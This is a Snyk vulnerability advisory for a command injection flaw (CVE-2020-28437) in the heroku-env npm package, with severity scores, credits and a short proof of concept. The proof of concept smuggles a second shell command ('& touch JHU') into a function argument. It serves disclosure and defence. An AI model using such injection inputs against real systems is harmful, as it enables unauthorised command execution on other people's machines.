

Command Injection

Affecting [heroku-env](#) package, versions *

INTRODUCED: 26 JAN 2021
CVE-2020-28437 ⓘ
CWE-78 ⓘ
FIRST ADDED BY SNYK

Share

How to fix?

There is no fixed version for `heroku-env` .

Overview

`heroku-env` is a package that parse the DATABASE_URL from your heroku config and split it out into the PG* environment variables used by `psql` `pg_dump` `pg_restore` and `node_postgres`

Affected versions of this package are vulnerable to Command Injection. The injection point is located in `lib/get.js` which is required by `index.js` .

PoC

```

var root = require("heroku-env");
root("& touch JHU","aa", function ({}));

```

Search by package name or CVE

Snyk CVSS

Exploit Maturity	Proof of concept ⓘ
Attack Complexity	Low ⓘ
Confidentiality	HIGH ⓘ
Integrity	HIGH ⓘ

[See more](#)

> NVD
9.8 CRITICAL

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk ID	SNYK-JS-HEROKUENV-1050432
Published	26 Jan 2021
Disclosed	26 Jan 2021
Credit	JHU System Security Lab

Report a new vulnerability

Found a mistake?

PRODUCT

Snyk Open Source

Snyk Code

Snyk Container

Snyk Infrastructure as Code

Test with Github

Test with CLI

RESOURCES

Vulnerability DB

Documentation

Disclosed Vulnerabilities

Blog

FAQs

COMPANY

About

Jobs

[Contact](#)
[Policies](#)
[Do Not Sell My Personal Information](#)

CONTACT US

[Support](#)
[Report a new vuln](#)
[Press Kit](#)
[Events](#)

FIND US ONLINE

TRACK OUR DEVELOPMENT



© 2022 Snyk Limited

Registered in England and Wales. Company number: 096777925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.